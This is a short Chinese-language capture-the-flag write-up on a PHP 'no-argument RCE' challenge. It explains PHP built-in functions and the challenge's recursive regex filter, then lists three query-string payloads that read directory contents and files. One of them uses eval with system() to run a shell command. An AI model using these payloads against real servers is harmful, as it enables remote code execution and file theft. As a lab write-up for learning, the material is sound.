1.打开环境,发现就是无参rce的题型
2.这道题的过滤并不严格,导致了payload的多样性,在解题之前,需要了解以下函数。
localeconv() – 函数返回一个包含本地数字及货币格式信息的数组 第一个是.
pos() – 返回数组中的当前单元, 默认取第一个值
next – 将内部指针指向数组下一个元素并输出
scandir() – 扫描目录
array_reverse() – 翻转数组
array_flip() - 键名与数组值对调
readfile()
array_rand() - 随机读取键名
var_dump() - 输出数组,可以用print_r替代
file_get_contents() - 读取文件内容,show_source,highlight_file echo 可代替
get_defined_vars() - 返回由所有已定义变量所组成的数组
end() - 读取数组最后一个元素
current() - 读取数组的第一个元素
#php内置函数
3.在做题之前,再讲讲题目中的正则表达式。
/[^\W]+\((?R)?\)/
\W代表匹配非字符
[^abc]代表匹配非abc以外的元素
R代表当前正则匹配后的结果
?惰性匹配,匹配零次或一次
\转义字符
也就是说,题目要求payload格式为()的嵌套,因为他会递归匹配,判断[...]()替换为空后的结果是否等于;
payload:
1.
/?code=readfile(array_rand(array_flip(scandir(pos(localeconv())))));
2.
/?code=echo(readfile(next(array_reverse(scandir(pos(localeconv()))))));
3.
/?code=eval(end(current(get_defined_vars())));&b=system(“tail flag.php”);